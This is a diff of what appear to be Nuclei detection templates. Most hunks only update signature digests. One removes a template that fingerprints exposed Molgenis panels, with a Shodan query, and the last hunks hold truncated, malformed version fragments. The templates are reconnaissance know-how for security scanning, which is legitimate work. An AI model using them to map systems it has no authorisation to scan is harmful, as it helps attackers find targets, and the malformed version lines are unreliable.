+# digest: 490a004630440220088fc8c21f4ff7b6f2e4cd6907e770383210ddd897d193799109379cf02666750220525f785628c06f611af67583d465d07239cdd806121ed398d767a721c69e8b87:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        regex:
          - '(?i)package:\s+"([a-z0-9._-]+)"'
          - '(?i)version&nbsp;:&nbsp;([a-z0-9._-]+)'
-# digest: 4a0a00473045022100aa77f3026ce4c918280860d0a2aeaf9bd34b0fb56cf9a4c3a0c0845c58e8759102201e57317986e1ab619d88b67065645423311f4f5bee41c4e6b9bc78e4f2e754c9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ebf12e87b71b0b83572f47f879b873b5300e23ba7df51306ddc7bff96fb3d1fb02205ab0fe41313e75565796b17ee96397e196fb58361f7b560f5d3bd33222b64386:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022029a3a681a86e4e083973ac42bcb2c73ee5e8a8b9953b9ad57a8c354d6337ad5902203f1a653c6811178592c7af8011bf4beb168220189c3f5d0de3bbbf6e2e230c09:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c39d9f00b5b903d8c110f25cb4b5649419f29d7664414dd38fe3837d93d8959502205b064a41b5aeb2c55079752389f2c0a95d7c359fa4af9dce5335167478e204d5:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402206141df01aa91adb96c275fba394ae26fa969eeeb14235a256d32446ba65878ef02205a9cf6a7b564b0fe5eee68c9b0a7e9ad50a9a43b8a4770f89559bb1f57a6868c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c988d1f470ac747418f4e69358a7255f61f78a0edce94ce7f5673f98fc179f2b022100f4e2ec0a92bd5f5b8c197076a265b26620713606defc582315a4cdf9e8188036:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502204fd80bde2d76eafe5d048495056452fb03a0daa20d54b0d6b58556a83d90cebe0221008cd433269dd9193cfd980d5a13bdd6dca9d325e0a7a84b990a807b852687db74:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008fbff6a7c0fb515edbf01d7f276cb2299021b6e161b31ced038222e5aa6a56fe022100c5194c56168f401799673aa883b82a0747cace4db444fbf8ab61704d31f9af05:922c64590222798bb761d5b6d8e72950
@@ -24,4 +24,4 @@ http:
          - 'status_code == 200'
          - 'contains_any(body, "<title>Haivision Media Platform", "content=\"Haivision Network Video")'
        condition: and
-# digest: 4a0a00473045022100d50d1eb67ca621f1aea4c88a8532ca77d588c32e1782de2e768cc5b63ced525d022025058078787b8eac125563e1e742fda0b72b98a7aefd868a058d1e8fb879d38d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c4a331f9e80e19bfb049bd10892f201f1e2c184c699617eac498ddcc57cda6b0022100fdf18c67b889a4710a5e92d14af75480019a06ab7005004c925cc0ed189c0e4c:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        group: 1
        regex:
          - '(?i)Server:\s+HYPERPLANNING\s+([0-9.\s\-]+)'
-# digest: 4b0a00483046022100c157f5f6df88471ffa6abf1cbbafcfbb186316c7cd49d2f0f4586c2808a4fbd2022100c55b2fb7bf040d10c00b5cefb8f03815d7653b94beac03a350c823d0739b90bf:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022042b1edfbdabc52b4d7c57be27dffd86e623ac4b9b1ff5683c4e75d7c2cc399f202206514b5383c04ab26ef86d28e6e3aa08922137adeb3b5465ed6f1293c2e84fdf4:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502205e8a34a1ddabdd9edbd702ec1fe22e356cee90f2082a382ae8a0bc4df6d1cf40022100a82ea8c5a4a5c66bfc818305cc44cf8cfd4704385fdd64a70c1679acc6a42e5e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220785168728db83dd4783c1c0741aa3422282aad1c5fdd82a8434f9a7d3bb7c646022100a58a3efcbc7409685c7cda770182efec6078f41ed5ef8683ab938bfaf0632f8d:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022076f6b2495e27bc7fba16b32b26d197e94b26fc3f33f6b71124e767dbbfb58022022030cbf349ff3c596773251343e01e3237120b18e2d7abf0b793451fc65325e674:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205145f329b6e050da03fcf3a61362bd0440f3dc87dda25b45592459ed3dd3b5ff0220099b0e97294f0e09301a07d06ead3bd6993b8a5744248a7d171755949b363169:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
          - 'contains_all(tolower(body), "<title>web service</title>", "lorex")'
          - 'contains_any(body, "/LOREX_webplugin", "lorex_msg")'
        condition: or
-# digest: 490a0046304402203e97068b429e7167ca6f4489d01d14de9008df0e4528f42b821c17b5b1a463f902205af430cab2f81682be8d81822cb83d46e96d884fe37a64fd8a0174ccd727fad5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100befc35125d601f7a4a8d7cfcecf9c1fa231e41c42499404f06049fc02233f535022100cba1b4b2745b18dfd4bacbb6439a463163e8c1ee2522e1c629e1b95bd312926c:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100e58821e9d6ea224ce4d9b3137c91c74da5ea4df07a80a88510c5a751ac1d196802201a327ac95a1067c770060cb12cfd20e5277507f0559da65e08002388256bfdcc:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206d22317ec7ba72a983fa452fd8b16fbb1fcbbae8407655531f883fa78c0a28bf02203803a00fd2654b4c46e5e263d3795cb8a5f29602f1caa1313c6bb12434690a64:922c64590222798bb761d5b6d8e72950
@@ -1,47 +0,0 @@
-id: molgenis-panel
-
-info:
-  name: Molgenis Panel - Exposure
-  author: matejsmycka
-  severity: info
-  description: |
-    Molgenis emx2 data platform is a software that provides a web-based interface for managing and analyzing data. It might contain sensitive information without authentication.
-  reference:
-    - https://molgenis.org/
-    - https://github.com/molgenis/molgenis-emx2
-  metadata:
-    verified: true
-    max-request: 1
-    shodan-query: html:"MOLGENIS"
-  tags: panel,molgenis,login,emx2
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}"
-      - "{{BaseURL}}/api"
-
-    stop-at-first-match: true
-    host-redirects: true
-    max-redirects: 2
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "molgenis-"
-          - "Welcome to MOLGENIS EMX2 POC"
-        condition: or
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        part: body
-        group: 1
-        regex:
-          - 'v([0-9]+\.[0-9]+\.[0-9]+)'
-# digest: 4a0a0047304502207052fda78fbb9e19e1170d603fc6a27efaee082eb1c1aac6fd525f0f20530e8e022100b74c8e226545035a874f8e37ec0456ef52d1c4201dbd8aafb66113f9e75e2dd6:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'name="version"\s+content="([0-9\.]+)"'
-# digest: 4a0a00473045022100f4e56d1194aa8e98d52a4dc7fd6547116ab75fa39e09235187a7bb546a8c69af02206b99400a456998c39cd5ce0ee3055ef6242688b319cc69bedcec6aba2adb83e1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202920fa800be307f2212f4230493a4f9344dc2f2644cedfa38f73afd72672da73022100df155b72eb4da3f6d09753cf51e18adde9bcaef64d96422c0db13b9c3cc3d4d8:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '_v=([0-9\.\-]+)'
-# digest: 4b0a00483046022100b0cbaa279d72a79eed1b68d59bfd65071a004aff8a667e4773445fbbf279d7e602210085cf350bfa794d775aea58f193d17f5d9b30c73c5e4041291f8b423c9e59d491:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b1224bb139ffbdada600a47a6de9944d4ae225c1fd6e7b3811cd51e04693ff93022061808abcfbfe2698af57508af1a69bf45133524fa9a5ea23a8ad5613e89690d4:922c64590222798bb761d5b6d8e72950
@@ -1 +1 @@
 .96
 .95
@@ -1 +1 @@
 .4.29
 .4.28
@@ -1 +1 @@
 .3.9
 .3.8
@@ -1 +1 @@
 .2.15
 .2.14
@@ -1 +1 @@
 .25
 .24
@@ -1 +1 @@
 .5.7
 .5.6
@@ -1 +1 @@
 .30.2
 .30.0
@@ -1 +1 @@
 .22.2
 .22
@@ -1 +1 @@
 .1.1
 .1.0
@@ -1 +1 @@
 .0.9
 .0.8